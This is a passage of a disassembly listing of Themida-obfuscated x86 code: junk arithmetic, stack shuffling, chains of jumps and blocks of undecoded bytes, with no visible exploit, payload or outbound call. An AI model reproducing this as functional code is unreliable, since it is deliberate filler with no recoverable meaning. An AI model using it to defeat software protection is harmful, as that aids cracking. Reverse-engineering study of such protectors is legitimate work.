		jmp	loc_5691E7
; ---------------------------------------------------------------------------


loc_569397:				; CODE XREF: Themida_:0055CCBAj
		mov	[esp], esi
		mov	esi, 43977B01h
		or	esi, 1870358Ch
		dec	esi
		jmp	loc_566EBA
; ---------------------------------------------------------------------------


loc_5693AB:				; CODE XREF: Themida_:00568133j
		xor	eax, 0D0D6A246h
		sub	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5653E6
; ---------------------------------------------------------------------------
		db 53h,	0F7h, 14h
		dd 8FD1E924h, 48BFFFFh,	4C48124h, 8B000000h, 0C4832404h
		dd 24343304h, 0FF70EDE9h, 0DECD80FFh, 88EED80h,	0F6E959EAh
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5693EF:				; CODE XREF: Themida_:005692A7j
		pop	ebx
		jmp	loc_5639C9
; ---------------------------------------------------------------------------
		db 1, 0D1h, 81h
		dd 356B2BE9h, 68525A1Eh, 23ECh,	0BF243C89h, 2, 68E9FA89h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569413:				; CODE XREF: Themida_:00563718j
		pop	esp
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 6BC81864h
		pop	eax
		push	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56DF35
; ---------------------------------------------------------------------------
		db 31h
		dd 24348BF0h, 511F68h, 243C8900h, 63A68h, 24248900h, 1F29E951h
		dd 0C6810000h, 2685B54h, 0EE81EE01h, 2685B54h, 81242C8Bh
		dd 4C4h, 2CE95300h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569463:				; CODE XREF: Themida_:0056B041j
		pop	edx
		sub	edx, 4E097920h
		add	edx, ebp
		add	edx, 4E097920h
		jmp	loc_564B9A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 68242C89h, 21F5h, 0B9240C89h, 0EC84907h, 52E4BD55h
		dd 0E92148DFh, 9749E95Dh, 1487FFFFh, 0F5015C24h, 8324348Bh
		dd 0EC8104C4h, 4, 0E9240C89h, 0FFFFFACCh, 0BE56C701h, 6715371Eh
		dd 2414F756h, 0B4C8E95Eh, 0F66FFFFh, 9C2404BBh,	0FF2F55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5694CD:				; CODE XREF: Themida_:00566C02j
		mov	eax, ebp
		pop	ebp
		neg	eax
		shr	eax, 1
		shr	eax, 4
		push	edx
		push	edi
		mov	edi, 40537F8Ah
		mov	edx, 0BF5CD5Bh
		xor	edx, edi
		pop	edi
		push	esi
		mov	esi, 6CE07835h
		add	eax, esi
		pop	esi
		sub	eax, edx
		sub	eax, 6CE07835h
		pop	edx
		add	ebp, eax
		jmp	loc_56CD7E
; ---------------------------------------------------------------------------


loc_5694FE:				; CODE XREF: Themida_:00569DFFj
		push	edx
		push	4
		pop	edx
		jmp	loc_56918A
; ---------------------------------------------------------------------------
		dw 0EF31h
		dd 81242C8Bh, 4C4h, 2434FF00h, 1AD9685Dh, 34E90000h, 52FFFF84h
		dd 8803B753h, 18E95BFEh, 81000015h, 4C7h, 4EC8100h, 0E9000000h
		dd 6AC2h
; ---------------------------------------------------------------------------


loc_569540:				; CODE XREF: Themida_:00570C4Bj
		pop	edx
		or	ah, ch
		pop	ecx
		sub	ah, 48h
		jmp	loc_56D08C
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8904EC83h, 0EC812434h, 4,	81242489h, 42404h
		dd 13E90000h, 58000023h, 305AD328h, 8D73E9D8h, 1068FFFFh
		dd 89000003h, 7682434h,	0E97D34A8h, 0FFFF7907h,	0DA7EEA2Dh
		dd 5D8290Ch, 0CDA7EEAh,	0C298A05h, 68565139h, 73830106h
		dd 0FFF9E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5695A5:				; CODE XREF: Themida_:0055C574j
		mov	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	65AEh
		mov	[esp], edi
		push	2B622981h
		pop	edi
		xor	esi, edi
		mov	edi, [esp]
		jmp	loc_560299
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 7568E9h, 7F685800h, 89000029h, 0B5E92434h
		dd 100004Eh, 0C32959CBh, 657CEB81h, 34FF55E0h, 0ABE95824h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5695F3:				; CODE XREF: Themida_:0055F590j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	al, 0D0h
		add	al, dl
		push	2370h
		mov	[esp], edx
		mov	dl, 1Bh
		and	dl, 5Fh
		sub	dl, 0ADh
		sub	dl, 0ABh
		jmp	loc_56B388
; ---------------------------------------------------------------------------


loc_569621:				; CODE XREF: Themida_:00560013j
		mov	esi, ebp
		mov	ebp, [esp]
		jmp	loc_55E37D
; ---------------------------------------------------------------------------
		db 29h
		dd 5F08247Ch, 2DECE958h, 0E950FFFFh, 0FFFF8A14h
; ---------------------------------------------------------------------------


loc_56963C:				; CODE XREF: Themida_:0056C655j
		xor	edi, esi
		pop	esi
		xor	edi, 0AB2D2Eh
		sub	edx, 647C6A6Ah
		add	edx, edi
		add	edx, 647C6A6Ah
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	dword ptr [edx]
		jmp	loc_570529
; ---------------------------------------------------------------------------


loc_569661:				; CODE XREF: Themida_:00561D0Ej
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		jmp	loc_57034D
; ---------------------------------------------------------------------------


loc_569679:				; CODE XREF: Themida_:0056C588j
		push	esi
		jmp	loc_564307
; ---------------------------------------------------------------------------


loc_56967F:				; CODE XREF: Themida_:00567725j
		add	edx, 4
		jmp	loc_55E757
; ---------------------------------------------------------------------------


loc_56968A:				; CODE XREF: Themida_:0056BDD8j
		push	ebx
		mov	ebx, 4
		sub	edi, 20CD5DE6h
		sub	edi, 514B42E3h
		add	edi, ebx
		add	edi, 514B42E3h
		add	edi, 20CD5DE6h
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56FC5F
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 24348704h, 0CF8BE95Ch, 56ADFFFFh, 0C681E689h, 4, 0FF50AAE9h
		dd 2434FFFFh, 412CE959h, 8B66FFFFh, 268240Ch, 8900002Fh
		dd 88E9243Ch, 15h, 0AD6866D8h, 0C896630h, 2069E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569706:				; CODE XREF: Themida_:0056E50Ej
		and	eax, 41AA075Ah
		jmp	loc_56BDDD
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFF7315h, 89240489h, 4C1E9E0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569722:				; CODE XREF: Themida_:00561558j
		add	dword ptr [eax], 1
		pop	eax


loc_569729:				; CODE XREF: Themida_:00562CADj
		push	5E1Dh
		mov	[esp], esi
		mov	esi, esp
		push	0B60h
		jmp	loc_56CC7C
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 1Ch
		dd 160E566h, 5DC1E9C1h,	34FFFFFFh, 44E95A24h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569753:				; CODE XREF: Themida_:00567DF5j
		mov	[esp], ebp
		jmp	loc_56F5CE
; ---------------------------------------------------------------------------
		db 83h
		dd 148904ECh, 62685624h, 5E385D3Fh, 5A8DEE81h, 0EE814CD9h
		dd 0EB83E4D3h, 578DE956h, 48FFFFFh, 24248B24h, 0FFCB53E9h
		dd 0C8B66FFh, 8B545124h, 0C483240Ch, 17A46804h,	14890000h
		dd 70FCE924h, 335A0000h, 2C31242Ch, 61B7E924h, 0EAD1FFFFh
		dd 2414F752h, 0FFBB97E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5697B5:				; CODE XREF: Themida_:00568071j
		add	esi, eax
		jmp	loc_56816E
; ---------------------------------------------------------------------------


loc_5697BC:				; CODE XREF: Themida_:0056361Ej
		mov	edx, 0C128A870h
		mov	edi, edx
		mov	edx, [esp]
		add	esp, 4
		xor	esi, edi
		pop	edi
		jmp	loc_565967
; ---------------------------------------------------------------------------


loc_5697D1:				; CODE XREF: Themida_:0056EB27j
		mov	ebp, 2
		add	edx, ebp
		pop	ebp
		push	54B9h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55C875
; ---------------------------------------------------------------------------
		db 0B8h, 31h, 60h
		dd 0E9550C75h, 0FFFFEFC0h, 31241C33h, 1C33241Ch, 0EC835C24h
		dd 24048904h, 268h, 2434FF00h, 0E2895258h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 6F8FE957h, 8858FFFFh, 0C5305AF5h, 0C530E830h
		dd 0C586D0F6h, 0E9E78957h, 5E23h, 275BEB81h, 34E92167h
		dd 89000045h, 7CB9240Ch, 297D0030h, 240C8BCFh, 104C483h
		dd 243C8BFAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55DFE1
; ---------------------------------------------------------------------------
		db 89h
		dd 17E92404h, 0B9FFFF8Dh, 46D34EC6h, 1887F181h,	7FE9658Ch
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56989B:				; CODE XREF: Themida_:0056C7A9j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	[esp+4], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_567639
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E25E9h, 82E95400h, 0B0FFFFACh, 4EA3E926h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5698D2:				; CODE XREF: Themida_:0056CC39j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	esp, 4
		push	ebp
		mov	ebp, 53560AB0h
		xor	ebp, 2F5B765Eh
		sub	ebp, 90830C2h
		dec	ebp
		jmp	loc_55EA97
; ---------------------------------------------------------------------------


loc_5698F4:				; CODE XREF: Themida_:0056EEB9j
		push	esp
		pop	edx
		jmp	loc_55FAD0
; ---------------------------------------------------------------------------
aIxhtj		db '‰åhTJ',0
		align 2
		dw 1C89h
		dd 4BB24h, 0DD010000h, 5B2434FFh, 4C481h, 0C5830000h, 4EC8104h
		dd 89000000h, 74FF242Ch, 3EE90424h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56992B:				; CODE XREF: Themida_:00560C52j
		add	esi, ecx
		pop	ecx
		and	eax, esi
		jmp	loc_55E9E2
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 5Bh
		dd 0E9241C8Bh, 0FFFF5015h, 0E9FFC583h, 0FFFF4573h, 7141AA05h
		dd 63BB532Eh, 0E96C5044h, 0FFFFFFDDh, 0E904EC83h, 0FFFF6F54h
; ---------------------------------------------------------------------------


loc_569960:				; CODE XREF: Themida_:0056488Bj
		shr	edx, 2
		shl	edx, 5
		sub	edx, 6CEF75Ch
		jmp	loc_56E141
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0D8E9E389h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56997B:				; CODE XREF: Themida_:00561128j
		push	ebx
		push	2B2Bh
		mov	[esp], edx
		mov	edx, 209A1621h
		push	0
		sub	dword ptr [esp], 7EBC755Ah
		sub	[esp], edx
		add	dword ptr [esp], 7EBC755Ah
		pop	edx
		jmp	loc_56290F
; ---------------------------------------------------------------------------


loc_5699A5:				; CODE XREF: Themida_:00567F14j
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5627C7
; ---------------------------------------------------------------------------
		dd 464EBD55h, 0F74D4491h, 0C2F581DDh, 318E42F8h, 0C218E9E9h
		dd 0B6B3FFFFh, 47C7E9h,	241C8700h, 90F2E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5699DA:				; CODE XREF: Themida_:0055E683j
		add	edx, 28C5D574h
		sub	esi, edx
		jmp	loc_564A53
; ---------------------------------------------------------------------------


loc_5699E7:				; CODE XREF: Themida_:00560EE7j
		not	eax
		xchg	eax, [esp]
		pop	edx
		jmp	loc_56A97A
; ---------------------------------------------------------------------------


loc_5699F2:				; CODE XREF: Themida_:00571245j
		pop	ebx
		push	edx
		jmp	loc_5712C0
; ---------------------------------------------------------------------------


loc_5699F9:				; CODE XREF: Themida_:00567F9Fj
		pop	esp
		jmp	loc_55C422
; ---------------------------------------------------------------------------


loc_5699FF:				; CODE XREF: Themida_:00569F40j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_565B74
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9542434h, 0FFFF92EAh, 53C8FE5Ah, 0FF6A58E9h, 6E03BDFFh
		dd 0EA01473Ch, 451CE9h
		db 0
; ---------------------------------------------------------------------------


loc_569A31:				; CODE XREF: Themida_:0056A284j
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, 36AC07ECh
		add	edi, 7177140Dh
		add	edi, eax
		sub	edi, 7177140Dh
		push	edx
		mov	edx, 265B07C9h
		jmp	loc_564127
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 0
		dd 3B5568h, 241C8900h, 38BBh, 21EB8100h, 14ED107h, 21C381D3h
		dd 684ED107h, 5F74h, 68240C89h,	67E1h, 0B8240489h, 2FC21FA7h
		dd 668CE952h, 0E680FFFFh, 73F68061h, 8005E6C0h,	0F028B4C6h
		dd 6683E9h, 24148B00h, 3304C483h, 1C31241Ch, 241C3324h
		dd 0FFD216E9h, 0AED68FFh, 14890000h, 0BE565124h, 33B652F7h
		dd 895EF189h, 0F75259CAh, 815A2414h, 985D23EAh,	0FC28170h
		dd 924A497Bh, 4292D0F7h, 286AC281h, 0E956233Dh,	0FFFF9CA0h
		dd 348BF001h, 4C48324h,	31240433h, 4332404h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5610BF
; ---------------------------------------------------------------------------
		dd 41481D25h, 52FC6857h, 14890000h, 7E91BA24h, 0EA815403h
		dd 14F331Ch, 8A5EA81h, 0DAF72F73h, 353CF281h, 0EA8137EEh
		dd 2C5F2Dh, 0B59C281h, 0D0014125h, 5E27685Ah, 0CAE90000h
		dd 52FFFF30h, 0DF721BBAh, 0E047E961h, 0E931FFFFh, 0B5C6815Dh
		dd 15BA561h, 0B5EE81CEh, 8B5BA561h, 0C483240Ch,	0F1895104h
		dd 5E595B51h, 0E95BD901h, 50B4h, 240CFF55h, 0E9242C8Bh
		dd 0BCBh
; ---------------------------------------------------------------------------


loc_569B9C:				; CODE XREF: Themida_:0055E76Aj
		push	3061h
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 33611450h
		push	ecx
		jmp	loc_55EFBE
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 17E4685Eh, 0C890000h, 2474FF24h, 72E95904h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569BC7:				; CODE XREF: Themida_:00567037j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 251D5D8Fh
		shl	edi, 6
		sub	edi, 1F6C6D10h
		jmp	loc_55F24C
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 8F24248Bh, 248B2404h, 2434FF24h
		dd 0E92434FFh, 0FFFF94ADh
; ---------------------------------------------------------------------------


loc_569C04:				; CODE XREF: Themida_:0055CC63j
		pop	esi
		and	esi, 74842534h
		add	esi, 25192365h
		mov	eax, esi
		pop	esi
		jmp	loc_56D70C
; ---------------------------------------------------------------------------
		db 5Fh,	53h, 0E9h
		dd 0FFFF285Ah
; ---------------------------------------------------------------------------


loc_569C20:				; CODE XREF: Themida_:0056DD6Dj
		inc	al
		push	bx
		mov	bl, 0EBh
		jmp	loc_560EB1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 4C18104h, 87000000h, 535C240Ch, 0A6684FB3h
		dd 8900006Ah, 22B5240Ch, 0FFB5A3E9h, 0D30158FFh, 6E5DC381h
		dd 52E90A91h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569C5B:				; CODE XREF: Themida_:0056FFA2j
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 5A581972h
		push	eax
		mov	eax, 3DFF77E0h
		mov	esi, 0C4A7A713h
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 0E0335C2h
		sub	esi, edi
		add	esi, 0E0335C2h
		pop	edi
		or	esi, 369747CEh
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_563604
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 4050000h, 87000000h,	575C2404h, 5350E789h, 0AE5920BBh
		dd 8EBC155h, 5FA1E9h, 0E9760400h, 0FFFF5D04h
; ---------------------------------------------------------------------------


loc_569CE4:				; CODE XREF: Themida_:0056875Cj
		pop	ebp
		jmp	loc_562EF9
; ---------------------------------------------------------------------------


loc_569CEA:				; CODE XREF: Themida_:005657F1j
		mov	ebx, [esp]
		jmp	loc_55C8E6
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 8704C783h, 248B243Ch, 4B95124h, 0E9000000h, 0FFFFE9B2h
		dd 83242C8Bh, 0D46804C4h, 89000047h, 0EC83242Ch, 24148904h
		dd 479F7BAh, 0F8CA8116h, 0C1617A5Bh, 0F74A07E2h, 82C281D2h
		dd 89BF3DFFh, 0B9515AD5h, 61095190h, 4E80BA52h,	0D1216CDCh
		dd 0ABC9815Ah, 816F8C56h, 0AC1609C1h, 49EA81BFh, 1407D5Eh
		dd 9DBE56CAh, 0E9731C32h, 0FFFF2C2Bh, 37A6E958h, 1C8B0000h
		dd 4C48324h, 4C381h, 0C3810000h, 4, 2474FF53h, 48F5B04h
		dd 0B6525C24h, 28EE804Ah, 0C002EEC0h, 0CE8002EEh, 6237E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569D9E:				; CODE XREF: Themida_:0056C6AAj
		mov	[esp], ebp
		mov	ebp, 222A6844h
		jmp	loc_56B2AD
; ---------------------------------------------------------------------------


loc_569DAB:				; CODE XREF: Themida_:0055D43Dj
		push	edx
		mov	edx, 64A7653Dh
		or	edx, 48CF724Bh
		jmp	loc_564888
; ---------------------------------------------------------------------------
		dd 906EE957h, 8758FFFFh, 0A0E92414h, 50FFFF2Dh,	5DEAE9h
		dd 4EC8100h, 89000000h,	47682414h, 89000040h, 3CBE2434h
		dd 0E912D910h, 0FFFF5C1Bh
; ---------------------------------------------------------------------------


loc_569DEC:				; CODE XREF: Themida_:0055F506j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_5694FE
; ---------------------------------------------------------------------------
		dd 4EFC147h, 0C12CF81h,	0F7814257h, 42548ED3h, 3C8BFD89h
		dd 4C48124h, 81000000h,	8549D8EDh, 1ED835Bh, 5503ED81h
		dd 0FFE9402Bh, 5EFFFF2Bh, 0FFAD34E9h, 243C31FFh, 8B243C33h
		dd 0DE92424h, 0B8FFFF28h, 19AC71F7h, 53462D48h,	8435523Ah
		dd 50E2C33h, 0AE78349Ch, 8B58C601h, 0C481242Ch,	4, 31243433h
		dd 55E92434h
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569E73:				; CODE XREF: Themida_:00571386j
		sub	ebp, ecx
		jmp	loc_562634
; ---------------------------------------------------------------------------
		dw 6FB6h
		dd 285AF388h, 241C8BD8h, 0FF04C483h, 0A2E92434h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569E8F:				; CODE XREF: Themida_:00569F93j
		mov	edx, 4
		jmp	loc_568184
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 50000000h, 0D7C1A0B8h, 0E9C52954h, 0FFFF7E16h, 0FCE9D9F7h
		dd 1FFFFE2h, 0C6835FFEh, 24348704h, 4C5835Ch, 31242C33h
		dd 2C33242Ch, 0C3315C24h, 0FF64F6E9h, 24348BFFh, 0FFA54FE9h
		dd 2434FFFFh, 53D8E9h, 55D3F700h, 0FF8FD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569EE9:				; CODE XREF: Themida_:005635B2j
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 4C481h, 0DD680000h, 0E900001Eh, 7346h, 8B6858BEh
		dd 3CE8112h, 810B2811h,	0EFE898EEh, 5EF70132h, 835FFA01h
		dd 148704C2h, 0B081E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F26:				; CODE XREF: Themida_:0056709Dj
		push	eax
		dec	dword ptr [esp]
		jmp	loc_570731
; ---------------------------------------------------------------------------
		db 0F6h
		dd 51C8FED8h, 0CDFED0B5h, 0FF4A66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569F3D:				; CODE XREF: Themida_:00563522j
		mov	ecx, [esp]
		jmp	loc_5699FF
; ---------------------------------------------------------------------------


loc_569F45:				; CODE XREF: Themida_:0055DC17j
		mov	[esp], ebx
		push	esi
		push	eax
		push	edx
		push	esp
		jmp	loc_56C109
; ---------------------------------------------------------------------------


loc_569F51:				; CODE XREF: Themida_:0056E4BCj
		mov	ecx, 77507B31h
		jmp	loc_56D5C1
; ---------------------------------------------------------------------------
a1Zs5		db '1ÓZé5',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569F63:				; CODE XREF: Themida_:0056E193j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_56F4E6
; ---------------------------------------------------------------------------
aB?mWsA		db 'Æ?m&~Wé+a',0
		align 4


loc_569F7C:				; CODE XREF: Themida_:0055DFC4j
		mov	ebx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_569E8F
; ---------------------------------------------------------------------------
		dd 1C8BDA31h, 4C48124h,	9000000h, 3AC8E9D1h, 0D568FFFFh
		dd 89000048h, 74FF2404h, 0E9580424h, 3D4Fh, 8B2434FFh
		dd 0C481240Ch, 4, 2FD368h, 241C8900h, 4C8E68h, 24248900h
		dd 4240483h, 5B2434FFh,	4C481h,	0BF570000h, 12C878ECh
		dd 1F5E68h, 24348900h, 777DCEBEh, 5EF73151h, 0FF74F6E9h
		dd 68F129FFh, 530h, 0BD242C89h,	0A332C64h, 0E904EDC1h
		dd 3BD4h, 81D5F75Dh, 0AA7BFBEDh, 0F2FBE919h, 0CD29FFFFh
		dd 0ABF58159h, 1122F32h, 1905E9E9h, 68BD0000h, 0D133E30Dh
		dd 3E5C1EDh, 4C9EC581h,	0C5810725h, 9AF68CEBh, 0E95DE889h
		dd 67ADh
; ---------------------------------------------------------------------------


loc_56A054:				; CODE XREF: Themida_:00563B49j
		mov	edx, [esp]
		add	esp, 4
		or	cl, 51h
		push	edx
		mov	dl, 17h
		jmp	loc_56BF02
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 3131E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A06D:				; CODE XREF: Themida_:00561648j
		add	ecx, 289FE49Fh
		sub	edi, ecx
		mov	ecx, [esp]
		jmp	loc_55CEEA
; ---------------------------------------------------------------------------


loc_56A07D:				; CODE XREF: Themida_:0056335Bj
		add	esp, 4
		shr	eax, 0Eh
		xor	eax, ecx
		push	4D00h
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	3CA1h
		mov	[esp], ecx
		jmp	loc_55EBEA
; ---------------------------------------------------------------------------


loc_56A0A1:				; CODE XREF: Themida_:00565962j
		mov	esi, 3F800F9h
		push	edx
		push	esi
		mov	esi, 41E95DFDh
		jmp	loc_570E95
; ---------------------------------------------------------------------------
		dw 5C01h
		dd 8B5B0424h, 0C4832434h, 4B95104h, 1000000h, 240C8BCEh
		dd 5304C483h, 4BBh, 60C68100h, 29779475h, 60EE81DEh, 5B779475h
		dd 2474FF56h, 48F5E04h,	614CE924h, 685E0000h, 0FCDED2E9h
		dd 8EC7815Fh, 15D1544h,	8EEF81D7h, 5A5D1544h, 4EC81h, 34890000h
		dd 234BE24h, 0BB530CF3h, 1F84657Ch, 0C105E3C1h,	0F38104E3h
		dd 19C720FFh, 1BAAC381h, 0EB813E35h, 1DD699BAh,	565BDE31h
		dd 5E2414F7h, 5A2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56A13D:				; CODE XREF: Themida_:0056AA13j
		add	eax, 2A197276h
		pop	ecx
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56051B
; ---------------------------------------------------------------------------
		dd 6CA88CBBh, 5BD831A7h, 589EC681h, 0C6015FE3h,	589EEE81h
		dd 5BE95FE3h, 8BFFFFF2h, 0F1F72424h, 380468h, 0E17DE900h
		dd 0C9BDFFFFh, 81020B2Bh, 1F3656C5h, 0DFF58145h, 0F7173E3Ch
		dd 71F5E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56A196:				; CODE XREF: Themida_:00560D46j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_560810
; ---------------------------------------------------------------------------


loc_56A1A4:				; CODE XREF: Themida_:0055D72Ej
		mov	ebx, [esp]
		add	esp, 4
		push	3976h
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	ebx, edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	edi
		sub	esp, 4
		mov	[esp], eax
		pop	edi
		jmp	loc_565544
; ---------------------------------------------------------------------------


loc_56A1F2:				; CODE XREF: Themida_:0055EB37j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56E3BE
; ---------------------------------------------------------------------------
		dd 0BA52CB01h, 1E881779h, 4A02EAC1h, 5E2C14Ah, 0BAB85042h
		dd 11A5095h, 0D30158C2h, 0FFA302E9h, 21F4E9FFh,	0BA52FFFFh
		dd 719F6EF0h, 3DD3B951h, 0BF57029Bh, 5C547D2Dh,	1692EA81h
		dd 0CAE97918h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A24B:				; CODE XREF: Themida_:0055C53Aj
		shl	ecx, 8
		push	ebx
		mov	ebx, 68C4267Eh
		and	ecx, ebx
		jmp	loc_55EECB
; ---------------------------------------------------------------------------


loc_56A25B:				; CODE XREF: Themida_:0055E192j
		mov	edx, esi
		push	dword ptr [esp]
		jmp	loc_5648C1
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 3242C81h, 0E92EBB4Fh, 0FFFFF013h
; ---------------------------------------------------------------------------


loc_56A274:				; CODE XREF: Themida_:00570506j
		pop	edx
		dec	cl
		jmp	loc_563B3E
; ---------------------------------------------------------------------------


loc_56A27C:				; CODE XREF: Themida_:00566611j
		push	1656h
		mov	[esp], edi
		jmp	loc_569A31
; ---------------------------------------------------------------------------
		db 1, 0D3h, 5Ah
		dd 1248E9h, 0F7D9F700h,	81D9F7D1h, 7B68FAE1h, 0C6F1812Dh
		dd 0E9287208h, 5851h
; ---------------------------------------------------------------------------


loc_56A2A8:				; CODE XREF: Themida_:00562501j
		mov	[esp], ebp
		jmp	loc_56474A
; ---------------------------------------------------------------------------
		dd 3C10E95Fh, 9868FFFFh, 8B7AD960h, 0C4832434h,	4E6C104h
		dd 5708EEC1h, 6134BABFh, 0A7EF816Bh, 81186D79h,	0BB24C1C7h
		dd 0CF811Dh, 0E950633Ah, 0FFFF3969h
; ---------------------------------------------------------------------------


loc_56A2E4:				; CODE XREF: Themida_:0057085Cj
		xchg	esi, edx
		neg	esi
		xchg	esi, edx
		add	edx, 9318BF4Ah
		and	ebx, edx
		jmp	loc_570521
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 22B6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A302:				; CODE XREF: Themida_:00561FA8j
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_566D60
		sub	esp, 4
		mov	[esp], ecx
		push	2ECDh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_56D455
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 5E08950h, 4, 778FBD55h, 0ED811761h, 1761778Bh
		dd 710CCE2Dh, 6448054Fh, 0BCE94416h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56A35B:				; CODE XREF: Themida_:0055C8F6j
		jmp	loc_55C422
; ---------------------------------------------------------------------------
